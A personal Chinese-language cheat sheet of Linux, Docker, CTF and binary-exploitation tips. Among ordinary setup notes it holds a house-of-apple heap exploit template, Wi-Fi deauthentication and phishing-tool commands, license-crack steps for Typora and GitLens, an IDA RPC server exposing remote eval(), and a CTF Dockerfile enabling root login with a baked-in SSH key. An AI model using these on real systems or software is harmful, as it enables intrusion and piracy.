疑难杂症宝典

2022-01-01 约 19699 字预计阅读 40 分钟

linux使用云盘

需求是使用github-action来编译文件时会用到

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https://github.com/tickstep/cloudpan189-go

安装

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sudo curl -fsSL http://file.tickstep.com/apt/pgp | gpg --dearmor | sudo tee /etc/apt/trusted.gpg.d/tickstep-packages-archive-keyring.gpg > /dev/null && echo "deb [signed-by=/etc/apt/trusted.gpg.d/tickstep-packages-archive-keyring.gpg arch=amd64,arm64] http://file.tickstep.com/apt cloudpan189-go main" | sudo tee /etc/apt/sources.list.d/tickstep-cloudpan189-go.list > /dev/null && sudo apt-get update && sudo apt-get install -y cloudpan189-go

使用

USER为用户名 PASSWORD为密码

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     backup           备份文件或目录
     cd               切换工作目录
     cp               拷贝文件/目录
     download, d      下载文件/目录
     export           导出文件/目录元数据
     import           导入文件
     ls, l, ll        列出目录
     mkdir            创建目录
     mv               移动文件/目录
     pwd              输出工作目录
     rapidupload, ru  手动秒传文件
     rename           重命名文件
     rm               删除文件/目录
     share            分享文件/目录
     upload, u        上传文件/目录
     xcp              转存拷贝文件/目录，个人云和家庭云之间转存文件

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cloudpan189-go login -username=$USER -password=$PASSWORD
cloudpan189-go upload retdec.7z /tmp

不能正常vnc连接

https://blog.csdn.net/a_1_1_1_2/article/details/130243284

ubuntu desktop删除开机界面

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cd /usr/share/lightdm/lightdm.conf.d
vim  50-greeter-wrapper.conf
加入下面三行
[SeatDefaults]
greeter-session=lightdm-gtk-greeter
autologin-user=ubuntu

解决nuc无显卡问题(需要>=ubuntu22.04)

https://dgpu-docs.intel.com/driver/client/overview.html

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wget -qO - https://repositories.intel.com/gpu/intel-graphics.key | \
  sudo gpg --dearmor --output /usr/share/keyrings/intel-graphics.gpg
echo "deb [arch=amd64,i386 signed-by=/usr/share/keyrings/intel-graphics.gpg] https://repositories.intel.com/gpu/ubuntu jammy client" | \
  sudo tee /etc/apt/sources.list.d/intel-gpu-jammy.list
sudo apt update

sudo apt install -y \
  intel-opencl-icd intel-level-zero-gpu level-zero \
  intel-media-va-driver-non-free libmfx1 libmfxgen1 libvpl2 \
  libegl-mesa0 libegl1-mesa libegl1-mesa-dev libgbm1 libgl1-mesa-dev libgl1-mesa-dri \
  libglapi-mesa libgles2-mesa-dev libglx-mesa0 libigdgmm12 libxatracker2 mesa-va-drivers \
  mesa-vdpau-drivers mesa-vulkan-drivers va-driver-all vainfo hwinfo clinfo

sudo apt install -y \
  libigc-dev intel-igc-cm libigdfcl-dev libigfxcmrt-dev level-zero-dev

sudo apt update && sudo apt install  -y --install-suggests  linux-generic-hwe-22.04 

sudo reboot
uname -r

sudo apt update

sudo apt -y install \
    gawk \
    dkms \
    linux-headers-$(uname -r) \
    libc6-dev
sudo apt install -y \
  intel-i915-dkms intel-platform-vsec-dkms \
  intel-platform-cse-dkms intel-fw-gpu 
sudo reboot -h now

ubuntu安装google浏览器

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wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb
sudo dpkg -i google-chrome-stable_current_amd64.deb 

google启动时使用代理

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google-chrome --proxy-server=socks5://127.0.0.1:2222

ssh display

使用ssh -Y

gef常用指令

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slub-contains + 地址

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slub-dump kmemcache名称 -q -n -v

linux 激活typora

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proxychains4 wget https://download.typora.io/linux/typora_1.8.9_amd64.deb
sudo dpkg -i ./typora_1.8.9_amd64.deb
wget https://github.com/Delppine1024/TGreen/releases/download/v1.8.9/app_asar_file_v1.8.9.zip
unar app_asar_file_v1.8.9.zip
sudo cp app.asar /usr/share/typora/resources/app.asar

gdb has unknown type; cast it to its declared type

/usr/lib/debug/.build-id丢失从glibc-all-in-one中拷贝过去

copilot-gpt4-service使用

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sudo proxychains4 git clone https://github.com/aaamoon/copilot-gpt4-service
sudo docker-compose -f example/docker-compose/with-next-chatgpt-web.docker-compose.yaml up -d

运行脚本获取token

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export http_proxy=http://ip:port
export https_proxy=http://ip:port
bash -c "$(curl -fsSL https://raw.githubusercontent.com/aaamoon/copilot-gpt4-service/master/shells/get_copilot_token.sh)"

启动

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cd copilot-gpt4-service
sudo docker-compose -f example/docker-compose/with-next-chatgpt-web.docker-compose.yaml up -d

访问

http://localhost:3000/#/auth

填入token即可

git 突然失效

在~/.ssh/config

C:\Users\名称\.ssh\config

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Host 192.168.48.128
  HostName 192.168.48.128
  User ubuntu
Host github.com
  Hostname ssh.github.com
  Port 443

gitLens cracker

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sudo find / -name "state.vscdb"
/home/ubuntu/.config/Code/User/globalStorage/state.vscdb
strings 
/home/ubuntu/.config/Code/User/globalStorage/state.vscdb |grep expire
然后修改日期

git commit添加verify

https://www.jianshu.com/p/195cac3a2b2c

正则

git rebase

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pick c50221f commit B
pick 73deeed commit C
pick d9623b0 commit D
pick e7c7111 commit E
pick 74199ce commit F

# 变基 ef13725..74199ce 到 ef13725（5 个提交）
#
# 命令:
# p, pick <提交> = 使用提交
# r, reword <提交> = 使用提交，但修改提交说明
# e, edit <提交> = 使用提交，进入 shell 以便进行提交修补
# s, squash <提交> = 使用提交，但融合到前一个提交
# f, fixup <提交> = 类似于 "squash"，但丢弃提交说明日志
# x, exec <命令> = 使用 shell 运行命令（此行剩余部分）
# b, break = 在此处停止（使用 'git rebase --continue' 继续变基）
# d, drop <提交> = 删除提交
......

AFL++

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PYTHONPATH=`dirname /src/home/ubuntu/test/fuzz/test_fuzz.py` AFL_PYTHON_MODULE=test_fuzz AFL_DEBUG=1 AFL_CUSTOM_MUTATOR_ONLY=1 afl-fuzz -i in -o out -m none -Q ./1

debug_shellcode起不来

别在共享文件夹中运行

python虚拟环境

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sudo apt-get install python-dev libffi-dev build-essential virtualenvwrapper
export WORKON_HOME=~/Envs
mkdir -p $WORKON_HOME
source /usr/share/virtualenvwrapper/virtualenvwrapper.sh
mkvirtualenv angr && pip install angr -i https://pypi.tuna.tsinghua.edu.cn/simple

python3.10和python3.8共存

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proxychains4 curl -sS https://bootstrap.pypa.io/get-pip.py | python3.8
proxychains4 curl -sS https://bootstrap.pypa.io/get-pip.py | python3.10
proxychains4 curl -sS https://bootstrap.pypa.io/get-pip.py | sudo python3.8
proxychains4 curl -sS https://bootstrap.pypa.io/get-pip.py | sudo python3.10
proxychains4 curl -sS https://bootstrap.pypa.io/get-pip.py | python3
proxychains4 curl -sS https://bootstrap.pypa.io/get-pip.py | sudo python3

buildroot编译

mipsel

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sudo make qemu_mips32r2el_malta_defconfig
sudo make

vscode配置代理

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export http_proxy=http://IP地址:port
export https_proxy=http://IP地址:port

route配置路由表

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route print
route add 192.168.1.0 mask 255.255.255.0 192.168.1.1
route add 0.0.0.0 mask 0.0.0.0 192.168.10.66
route add 要走的ip mask 掩码 网关

oh my zsh卡顿

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git config --add oh-my-zsh.hide-dirty 1 && git config --add oh-my-zsh.hide-status 1
取消
git config --remove-section oh-my-zsh

obsidian picgo配置

参考链接

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npm install picgo -g

配置文件

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linux 和 macOS 均为`~/.picgo/config.json`。

windows 则为`C:\Users\你的用户名\.picgo\config.json`。

ida script使用

修改

为ifconfig即主机ip

然后gdb里面执行

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attach(p,"set ida-enabled on\nset ida-rpc-host 192.168.48.1\nboff {}".format(sys.argv[1]))

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#!/usr/bin/env python
from __future__ import annotations

import datetime
import threading
import xmlrpc.client as xmlclient
from xml.sax.saxutils import escape
from xmlrpc.server import SimpleXMLRPCServer

import idaapi
import idc

# Wait for any processing to get done
idaapi.auto_wait()

# On Windows with NTFS filesystem a filepath with ':'
# is treated as NTFS ADS (Alternative Data Stream)
# and so saving file with such name fails
# dt = datetime.datetime.now().isoformat().replace(":", "-")

# Save the database so nothing gets lost.
# idc.save_database(idc.get_idb_path() + "." + dt)


DEBUG_MARSHALLING = False


def create_marshaller(use_format=None, just_to_str=False):
    assert (
        use_format or just_to_str
    ), "Either pass format to use or make it converting the value to str."

    def wrapper(_marshaller, value, appender):
        if use_format:
            marshalled = use_format % value
        elif just_to_str:
            marshalled = f"<value><string>{escape(str(value))}</string></value>"

        if DEBUG_MARSHALLING:
            print(f"Marshalled: '{marshalled}'")

        appender(marshalled)

    return wrapper


xmlclient.Marshaller.dispatch[type(1 << 63)] = create_marshaller("<value><i8>%d</i8></value>")
xmlclient.Marshaller.dispatch[int] = create_marshaller("<value><i8>%d</i8></value>")
xmlclient.Marshaller.dispatch[idaapi.cfuncptr_t] = create_marshaller(just_to_str=True)

host = "192.168.48.1"
port = 31337

mutex = threading.Condition()


def wrap(f):
    def wrapper(*a, **kw):
        rv = []
        error = []

        def work():
            try:
                result = f(*a, **kw)
                rv.append(result)
            except Exception as e:
                error.append(e)

        with mutex:
            flags = idaapi.MFF_WRITE
            if f == idc.set_color:
                flags |= idaapi.MFF_NOWAIT
                rv.append(None)
            idaapi.execute_sync(work, flags)

        if error:
            msg = f"Failed on calling {f.__module__}.{f.__name__} with args: {a}, kwargs: {kw}\nException: {str(error[0])}"
            print("[!!!] ERROR:", msg)
            raise error[0]

        return rv[0]

    return wrapper


def register_module(module):
    for name, function in module.__dict__.items():
        if hasattr(function, "__call__"):
            server.register_function(wrap(function), name)


def decompile(addr):
    """
    Function that overwrites `idaapi.decompile` for xmlrpc so that instead
    of throwing an exception on `idaapi.DecompilationFailure` it just returns `None`.
    (so that we don't have to parse xmlrpc Fault's exception string on pwndbg side
    as it differs between IDA versions).
    """
    try:
        return idaapi.decompile(addr)
    except idaapi.DecompilationFailure:
        return None


def get_decompile_coord_by_ea(cfunc, addr):
    if idaapi.IDA_SDK_VERSION >= 720:
        item = cfunc.body.find_closest_addr(addr)
        y_holder = idaapi.int_pointer()
        if not cfunc.find_item_coords(item, None, y_holder):
            return None
        y = y_holder.value()
    else:
        lnmap = {}
        for i, line in enumerate(cfunc.pseudocode):
            phead = idaapi.ctree_item_t()
            pitem = idaapi.ctree_item_t()
            ptail = idaapi.ctree_item_t()
            ret = cfunc.get_line_item(line.line, 0, True, phead, pitem, ptail)
            if ret and pitem.it:
                lnmap[pitem.it.ea] = i
        y = None
        closest_ea = idaapi.BADADDR
        for ea, line in lnmap.items():
            if closest_ea == idaapi.BADADDR or abs(closest_ea - addr) > abs(ea - addr):
                closest_ea = ea
                y = lnmap[ea]

    return y


def decompile_context(addr, context_lines):
    cfunc = decompile(addr)
    if cfunc is None:
        return None
    y = get_decompile_coord_by_ea(cfunc, addr)
    if y is None:
        return cfunc
    lines = cfunc.get_pseudocode()
    retlines = []
    for lnnum in range(max(0, y - context_lines), min(len(lines), y + context_lines)):
        retlines.append(idaapi.tag_remove(lines[lnnum].line))
        if lnnum == y:
            retlines[-1] = ">" + retlines[-1][1:]
    return "\n".join(retlines)


def versions():
    """Returns IDA & Python versions"""
    import sys

    return {
        "python": sys.version,
        "ida": idaapi.get_kernel_version(),
        "hexrays": idaapi.get_hexrays_version() if idaapi.init_hexrays_plugin() else None,
    }


server = SimpleXMLRPCServer((host, port), logRequests=False, allow_none=True)
register_module(idaapi)
register_module(
    idc
)  # prioritize idc functions over above (e.g. idc.get_next_seg/ida_segment.get_next_seg)

server.register_function(lambda a: eval(a, globals(), locals()), "eval")
server.register_function(wrap(decompile))  # overwrites idaapi/ida_hexrays.decompile
server.register_function(wrap(decompile_context), "decompile_context")  # support context decompile
server.register_function(wrap(versions))
server.register_introspection_functions()

print(f"IDA Pro xmlrpc hosted on http://{host}:{port}")
print("Call `shutdown()` to shutdown the IDA Pro xmlrpc server.")

thread = threading.Thread(target=server.serve_forever)
thread.daemon = True
thread.start()


def shutdown():
    global server
    global thread
    server.shutdown()
    server.server_close()
    del server
    del thread

ubuntu bp安装

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sudo apt-get install openjdk-17-jdk
sudo update-alternatives --config java

ubuntu BP抓不到包

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主要针对firefox浏览器，打开about:config页面，搜索network.proxy.allow_hijacking_localhost双击变为true。

busybox找poweroff

我们通过阅读busybox源码搜索poweroff可以看到如下的引用

并且可以看到如下关键字/proc/meminfo和d:+nfwi关键字，因此我们可以直接搜索这两个字符串即可

可以看到该函数的偏移为5fdac8减去基地址400000可知偏移为0x1fdac8 + 1，因此便可以将该函数改为一段shellcode，然后输入exit即可提权

找到poweroff的偏移地址然后打poweroff

house of apple板子

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write_anywhere(stderr_addr + 104,p64(free_hook),stdin_addr)
    payload = flat({
        0:[u64("  sh;\x00\x00\x00")],
    })
    write_anywhere(free_hook,payload,stdin_addr)
    write_anywhere(free_hook + 0x20,p64(0),stdin_addr)
    write_anywhere(free_hook + 0x28,p64(1),stdin_addr)
    write_anywhere(free_hook + 0xd8,p64(0x2160c0 + libc_base),stdin_addr)
    write_anywhere(free_hook + 0xa0,p64(free_hook + 0x100),stdin_addr)
    write_anywhere(free_hook + 0x100 + 0xe0,p64(free_hook+0x200),stdin_addr)
    write_anywhere(free_hook + 0x200 + 0x68,p64(sys_addr),stdin_addr)

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0->flags: u64("  sh;\x00\x00\x00")
0x20->_IO_write_base: 0
0x28->_IO_write_ptr: 1
0xa0->_wide_data: 可控地址A
0xd8->vtavle:_IO_wfile_jumps 可以调用_IO_wfile_overflow
A+0xe0->_wide_vtable: 可控地址B
B+0x68->_wide_data->_wide_vtable->doallocate: call func

删除大文件

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sudo du -h . --max-depth=1 | sort -hr | head -n 10

qemu编译

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wget https://download.qemu.org/qemu-8.0.5.tar.xz
mkdir build
cd build
../configure --gdb=/usr/bin/gdb --enable-debug --prefix=/usr/local

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## seccomp

```c
//gcc -g simple_syscall_seccomp.c -o simple_syscall_seccomp -lseccomp
#include <unistd.h>
#include <seccomp.h>
#include <linux/seccomp.h>

int main(void){
	scmp_filter_ctx ctx;
	ctx = seccomp_init(SCMP_ACT_ALLOW);
    //seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve),0);
	seccomp_rule_add(ctx, SCMP_ACT_KILL, 59, 0);
	seccomp_load(ctx);

	char * filename = "/bin/sh";
	char * argv[] = {"/bin/sh",NULL};
	char * envp[] = {NULL};
	write(1,"i will give you a shell\n",24);
	syscall(59,filename,argv,envp);//execve
	return 0;
}

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#include <unistd.h>
#include <sys/prctl.h>
#include <linux/filter.h>
#include <linux/seccomp.h>

int main(void){
	
	prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
    struct sock_filter sfi[] ={
        {0x20,0x00,0x00,0x00000004},
        {0x15,0x00,0x05,0xc000003e},
        {0x20,0x00,0x00,0x00000000},
        {0x35,0x00,0x01,0x40000000},
        {0x15,0x00,0x02,0xffffffff},
        {0x15,0x01,0x00,0x0000003b},
        {0x06,0x00,0x00,0x7fff0000},
        {0x06,0x00,0x00,0x00000000}
    };
    struct sock_fprog sfp = {8, sfi}; //这里8要和数据的行数一致
    prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &sfp);
	
	char * filename = "/bin/sh";
	char * argv[] = {"/bin/sh",NULL};
	char * envp[] = {NULL};
	write(1,"i will give you a shell\n",24);
	write(1,"1234567812345678",0x10);
	syscall(0x4000003b,filename,argv,envp);//execve
	return 0;
}

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/*
 * seccomp actions
 */

/**
 * Kill the process
 */
#define SCMP_ACT_KILL		0x00000000U
/**
 * Throw a SIGSYS signal
 */
#define SCMP_ACT_TRAP		0x00030000U
/**
 * Return the specified error code
 */
#define SCMP_ACT_ERRNO(x)	(0x00050000U | ((x) & 0x0000ffffU))
/**
 * Notify a tracing process with the specified value
 */
#define SCMP_ACT_TRACE(x)	(0x7ff00000U | ((x) & 0x0000ffffU))
/**
 * Allow the syscall to be executed after the action has been logged
 */
#define SCMP_ACT_LOG		0x7ffc0000U
/**
 * Allow the syscall to be executed
 */
#define SCMP_ACT_ALLOW		0x7fff0000U

seccomp-tools asm rule.asm -a amd64 -f raw | seccomp-tools disasm -

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A = arch
A == ARCH_X86_64 ? next : dead
A = sys_number
A == close ? dead : next
A == exit_group ? dead : next
A == open ? next : allow
A = args[0]
A &= 0xff
A == 0x7c ? dead : next
allow:
return ALLOW
dead:
return ERRNO(0)

seccomp-tools asm rule.asm -a amd64 -f carray

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int secc(){
    unsigned char bpf[] = {32,0,0,0,4,0,0,0,21,0,0,8,62,0,0,192,32,0,0,0,0,0,0,0,21,0,6,0,3,0,0,0,21,0,5,0,231,0,0,0,21,0,0,3,2,0,0,0,32,0,0,0,16,0,0,0,84,0,0,0,255,0,0,0,21,0,1,0,124,0,0,0,6,0,0,0,0,0,255,127,6,0,0,0,0,0,5,0};
    prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
    struct sock_fprog sfp = {11,bpf};
    prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &sfp);
}

asan可以检测到内存泄露的几种方式

将申请的堆块传递给栈变量，不使用exit退出，而是使用直接返回的方式退出
将申请的堆块赋值给全局变量，需要赋值两次
假设有结构体，赋值给全局变量，只free了整个结构体
给局部变量申请一个堆块之后再申请一个堆块
没检测出来可能是加了沙箱，把run去掉

vscode 常用扩展

intellicode

tabnine

codeql

Vscode counter

sarif view

docker gui显示错误

dockefile

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FROM ubuntu:22.04
ENV DEBIAN_FRONTEND=noninteractive
WORKDIR /root/
COPY ./autogen.sh /tmp/autogen.sh
RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.tuna.tsinghua.edu.cn/g" /etc/apt/sources.list
RUN sed -i "s/deb http:\/\/se/#/g" /etc/apt/sources.list
RUN sed -i "s/deb-src http:\/\/se/#/g" /etc/apt/sources.list 
RUN apt-get update
RUN apt-get install 
RUN apt-get install libxml2-dev libxslt1-dev libsqlite3-dev libwebkit2gtk-4.0-dev libjson-glib-dev libgirepository1.0-dev libpeas-dev libfribidi-dev gsettings-desktop-schemas-dev python3 libtool intltool git libsoup-3.0 webkit2gtk-4.1 autoconf gedit -y
RUN git config --global http.proxy http://192.168.1.9:2222
RUN git config --global http.proxy socks://192.168.1.9:2222
RUN git clone https://github.com/lwindolf/liferea
RUN cd liferea

CMD [ "/bin/sh" ]

docker-compose.yml

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version: "3"
services:
  app:
    image: check:latest
    build: .
    environment:
      - DISPLAY=${DISPLAY}
    volumes:
      - /tmp/.X11-unix:/tmp/.X11-unix
    network_mode: host
    tty: true

bash

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sudo docker-compose up --build -d
sudo xhost + local:docker
sudo xhost +

docker gdbserver调试

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sudo docker run -tid --security-opt seccomp=unconfined -p 127.0.0.1:2333:2333

docker image上传dockerhub

在dockerhub上新建一个docker仓库

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sudo docker tag imageid username/仓库名字:容器名字
sudo docker push username/仓库名字:容器名字

docker build的时候使用代理

后面加一个参数

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--build-arg https_proxy=http://192.168.48.1:2222 --build-arg http_proxy=http://192.168.48.1:2222

解包类的指令尽量不要在共享文件夹中使用！！！

binwalk安装

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pip3 install git+https://github.com/ReFirmLabs/binwalk.git --user
pip3 install pycryptodome --user
pip3 install matplotlib PyQt5 pyqtgraph --user
sudo apt install libxkbcommon-x11-0
pip3 install capstone --user
sudo apt install mtd-utils gzip bzip2 tar arj lhasa p7zip p7zip-full cabextract cramfsswap squashfs-tools sleuthkit default-jdk lzop srecord
sudo apt install build-essential liblzma-dev liblzo2-dev zlib1g-dev
git clone https://github.com/devttys0/sasquatch
cd sasquatch
wget https://downloads.sourceforge.net/project/squashfs/squashfs/squashfs4.3/squashfs4.3.tar.gz
rm -rf squashfs4.3
tar -zxvf squashfs4.3.tar.gz
cd squashfs4.3
patch -p0 < ../patches/patch0.txt
cd squashfs-tools
cd LZMA/lzmadaptive/C/7zip/Compress/LZMA/
mv LZMA.h LZMA2.h
cd ../../../../../../LZMA/lzmalt/
mv LZMA.h LZMA3.h
cd ../../
sed -i "s/#include \"LZMA.h\"/#include \"LZMA2.h\"/g" LZMA/lzmadaptive/C/7zip/Compress/LZMA/LZMADecoder.h
sed -i "s/#include \"LZMA.h\"/#include \"LZMA2.h\"/g" LZMA/lzmadaptive/C/7zip/Compress/LZMA/LZMAEncoder.h
sed -i "s/#include \"LZMA.h\"/#include \"LZMA3.h\"/g" LZMA/lzmalt/LZMADecoder.h
make
cp ./sasquatch ~/.local/bin
cd ../../../
rm -rf sasquatch
sudo apt install liblzma-dev
pip2 install pyliblzma cstruct --user
pip2 install git+https://github.com/sviehb/jefferson.git --user
sudo apt install liblzo2-dev
pip3 install python-lzo
pip3 install git+https://github.com/jrspruitt/ubi_reader.git --user
pip2 install git+https://github.com/devttys0/yaffshiv --user

hackmd

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version: "3"
services:
  database:
    image: postgres:11.6-alpine
    environment:
      - POSTGRES_USER=codimd
      - POSTGRES_PASSWORD=change_password
      - POSTGRES_DB=codimd
    volumes:
      - "database-data:/var/lib/postgresql/data"
    restart: always
  codimd:
    image: hackmdio/hackmd:2.3.2
    environment:
      - CMD_DB_URL=postgres://codimd:change_password@database/codimd
      - CMD_USECDN=false
    depends_on:
      - database
    ports:
      - "3000:3000"
    volumes:
      - upload-data:/home/hackmd/app/public/uploads
    restart: always
volumes:
  database-data: {}
  upload-data: {}

maze

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def solve_maze(mp):
    #delta = [x,y,path]
    delta = [
        [-1,0,"3"],[1,0,"4"],[0,1,"2"],
        [0,-1,"1"]    #操作数需要改
    ]
    path = ""
    M,N = 5,5 #长和宽需要改
    st = mp.index("*") #需要改起始位置
    ed = mp.index("#") #终点位置
    ID = lambda x,y: y * M + x
    vis = [[False] * M for _ in range(N)]

    def dfs(x,y,cPath = ""):
        nonlocal path
        if x < 0 or x >= M or y < 0 or y >= N or vis[x][y] or mp[ID(x,y)] == "1":# 不可以走的路径
            return False
        if ID(x,y) == ed:
            path = cPath
            return True
        vis[x][y] = True
        for i in range(4):# 对应delta有几个操作数
            fl = dfs(x + delta[i][0],y + delta[i][1],cPath + delta[i][2])
            if fl:
                vis[x][y] = False
                return True
        vis[x][y] = False
        return False

    dfs(st % M,st // M)
    return path

def main():
    mp = "*11110100001010000101111#" #迷宫的数据
    path = solve_maze(mp)
    print(path)

if __name__ == "__main__":
    main()

hyper打开和关闭

打开

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bcdedit /set hypervisorlaunchtype auto

关闭

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bcdedit /set hypervisorlaunchtype off

v8相关

fetch v8之后卡住不动尽量不要用proxychains4

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git config --global http.proxy http://192.168.48.1:2222
git config --global http.proxy socks://192.168.48.1:2222
export http_proxy=http://192.168.48.1:2222
export https_proxy=http://192.168.48.1:2222
git config --global --unset http.proxy

先执行gclinet然后再删除.gclient然后再fetch v8

ens33网卡失效

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sudo dhclient ens33
ifconfig ens33 up

如果没有ifconfig

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systemctl stop NetworkManager
systemctl disable NetworkManager
service network-manager restart
sudo dhclient ens33

airodump 使用

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sudo airmon-ng
sudo airmon-ng start wlan0
sudo airodump-ng wlan0mon
sudo airodump-ng -c 11 --bssid 10:9F:4F:80:8A:EA -w hach wlan0mon
sudo aireplay-ng -0 20 -a 10:9F:4F:80:8A:EA -c 58:8F:CF:84:7D:EE wlan0mon

wifi钓鱼

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sudo apt install wifiphisher

出题相关

awd

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service ctf
{
    disable = no
    socket_type = stream
    protocol    = tcp
    flags       = REUSE
    wait        = no
    user        = root
    type        = UNLISTED
    cps         = 65536 1
    port        = 9999
    bind        = 0.0.0.0
    server      = /usr/sbin/chroot
    # replace helloworld to your program
    server_args = --userspec=pwnuser:pwnuser /home/ctf /challenge/main
    banner_fail = /etc/banner_fail
    # safety options
    per_source	= 5
    rlimit_cpu	= 20
    rlimit_as  = 2500M
    #access_times = 2:00-9:00 12:00-24:00
    kafel_rule = /etc/pwn.kafel
}

https://github.com/google/kafel

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FROM ubuntu:20.04

#LABEL maintainer="d1ag0n@cyberpeace.cn"

WORKDIR /opt
RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.tuna.tsinghua.edu.cn/g" /etc/apt/sources.list && \
    sed -i "s/deb http:\/\/se/#/g" /etc/apt/sources.list && \
    sed -i "s/deb-src http:\/\/se/#/g" /etc/apt/sources.list && \
    apt-get update 

ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get install -y lib32z1 xinetd libc6-dev-mips64el-cross libc6-dev-arm64-cross qemu-user-static libc6-dev-armel-cross \
    openssh-server unzip make wget bison flex build-essential  curl python-dev libpcap-dev python2.7 libpython2.7 \
    libc6-dbg inetutils-ping libreadline-dev \
    && rm -rf /var/lib/apt/lists/*

COPY ./get-pip.py /opt/
RUN python get-pip.py && rm -rf /opt/get-pip.py

ADD ./kafel-master.zip /opt/
RUN unzip kafel-master.zip && rm kafel-master.zip && mv kafel-master kafel && cd kafel && make 

COPY ./xinetd /usr/sbin/xinetd

# 开启ssh登录
RUN rm -f /etc/service/sshd/down
RUN sed -ri 's/^#?PermitRootLogin\s+.*/PermitRootLogin yes/' /etc/ssh/sshd_config &&\
    sed -ri 's/#UseDNS\ no/UseDNS\ no/g' /etc/ssh/sshd_config && \
    sed -ri "s/StrictModes yes/StrictModes no/g" /etc/ssh/sshd_config && \
    sed -ri "s/UsePAM yes/UsePAM no/g" /etc/ssh/sshd_config

# 设置允许密码登录
RUN echo 'PasswordAuthentication yes' >> /etc/ssh/sshd_config

# 设置只可公钥登录
# RUN echo 'PasswordAuthentication no' >> /etc/ssh/sshd_config

## 安装抓包的flow_dumper.py所需依赖
RUN pip install dpkt==1.8.8 \
    pcapy==0.11.1 \
    impacket==0.9.15 \
    supervisor==3.3.1 \
    pyinotify==0.9.6 \
    requests \
    # pwntools \
    -i https://pypi.tuna.tsinghua.edu.cn/simple

# 添加选手用户
RUN groupadd ctf && \
    useradd -g ctf ctf -m && \
    echo "ctf:xxxxxxxx" | chpasswd && \
    echo "root:xxxxxxxx" | chpasswd

# 添加题目用户
RUN useradd pwnuser

RUN echo_supervisord_conf > /etc/supervisord.conf
RUN mkdir /etc/supervisord.conf.d
RUN echo "[include]" >> /etc/supervisord.conf
RUN echo "files = /etc/supervisord.conf.d/*.ini" >> /etc/supervisord.conf
COPY ./flow/flow_dumper.ini /etc/supervisord.conf.d
COPY ./flow/flow_dumper.py /root
COPY ./flow/container_mon.py /root

# 编译并设置赛题所属组和权限
WORKDIR /home/ctf/challenge

COPY ./bin /home/ctf/challenge
RUN chown -R root:ctf /home/ctf/challenge && \
	chmod -R 775 /home/ctf/challenge && \
	mkdir /home/ctf/.ssh

WORKDIR /home/ctf

RUN echo "ctf{this_is_a_sample_flag}" > /home/ctf/flag
RUN chmod 644 /home/ctf/flag && chown root:root /home/ctf

# RUN cp -R /lib* /home/ctf
RUN cp -R /usr/lib* /home/ctf

RUN mkdir /home/ctf/dev && \
	mknod /home/ctf/dev/null c 1 3 && \
	mknod /home/ctf/dev/zero c 1 5 && \
	mknod /home/ctf/dev/random c 1 8 && \
	mknod /home/ctf/dev/urandom c 1 9 && \
	chmod 666 /home/ctf/dev/*

RUN mkdir /home/ctf/bin && \
	cp /bin/sh /home/ctf/bin && \
	cp /bin/ls /home/ctf/bin && \
	cp /bin/cat /home/ctf/bin

COPY ./xinetd.cfg /etc/xinetd.d/ctf
# 搅屎测试的
# COPY ./kill.cfg /etc/xinetd.d/testkill
# COPY ./noalarm.cfg /etc/xinetd.d/noalarm
RUN echo "Blocked by ctf_xinetd" > /etc/banner_fail

ADD pwn.kafel /etc/pwn.kafel

COPY ./start.sh /start.sh
RUN chmod +x /start.sh

# 运维使用，添加了运维人员的公钥
RUN mkdir /root/.ssh
RUN echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtYBQRQ4uoo5kRyFQaGICnIF4aoxv8L+5FzgbBzemzibSPisnXTCPXpG4zISUpT6cGmtf3yVJErlzSYBU6NoOGXqj3zl0JsLMb0KC9MNnXLkNKsFabURJOdQWixXGsn9TS3r1vDfhTYKUCo2IRuCKlCoXMYWGJ3QTXqa4itgntI71Zi8/a8OSsdT10jaDk4M0xCdToPfQ18uzVmyNekqKyZor7wZr/OUpXzJTivnvTk3FHAzgetHXGpFr07FEAfFrI15WLzZvTPRM3gGn8m6jVkhMHegm6OK8s6UTuLvGSP+9B27UmJN4lvq8JTtTZIJ8qKgahg41+0/pumLMCYxox root@ubuntu' >> /root/.ssh/authorized_keys 
RUN chmod 600 /root/.ssh/authorized_keys

CMD ["/start.sh"]

Dockerfile

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FROM ubuntu:20.04

RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.tuna.tsinghua.edu.cn/g" /etc/apt/sources.list && \
    sed -i "s/deb http:\/\/se/#/g" /etc/apt/sources.list && \
    sed -i "s/deb-src http:\/\/se/#/g" /etc/apt/sources.list && \
    apt-get update && apt-get -y dist-upgrade && \
    apt-get install -y lib32z1 xinetd

RUN useradd -m ctf

WORKDIR /home/ctf

RUN cp -R /usr/lib* /home/ctf
# RUN cp -R /lib* /home/ctf

RUN mkdir /home/ctf/dev && \
    mknod /home/ctf/dev/null c 1 3 && \
    mknod /home/ctf/dev/zero c 1 5 && \
    mknod /home/ctf/dev/random c 1 8 && \
    mknod /home/ctf/dev/urandom c 1 9 && \
    chmod 666 /home/ctf/dev/*

RUN mkdir /home/ctf/bin && \
    cp /bin/sh /home/ctf/bin && \
    cp /bin/ls /home/ctf/bin && \
    cp /bin/cat /home/ctf/bin

COPY ./ctf.xinetd /etc/xinetd.d/ctf
COPY ./start.sh /start.sh
RUN echo "Blocked by ctf_xinetd" > /etc/banner_fail

RUN chmod +x /start.sh

COPY ./bin/ /home/ctf/
RUN chown -R root:ctf /home/ctf && \
    chmod -R 750 /home/ctf && \
    chmod 740 /home/ctf/flag

ENV NS_FLAG "flag{test}"

COPY script.sh /
RUN chmod +x /script.sh

CMD /bin/bash -c '/script.sh && /start.sh'

EXPOSE 8888

快速替换源

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sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.tuna.tsinghua.edu.cn/g" /etc/apt/sources.list && \
    sed -i "s/deb http:\/\/se/#/g" /etc/apt/sources.list && \
    sed -i "s/deb-src http:\/\/se/#/g" /etc/apt/sources.list && \

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sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.tuna.tsinghua.edu.cn/g" /etc/apt/sources.list
sed -i "s/deb http:\/\/se/#/g" /etc/apt/sources.list
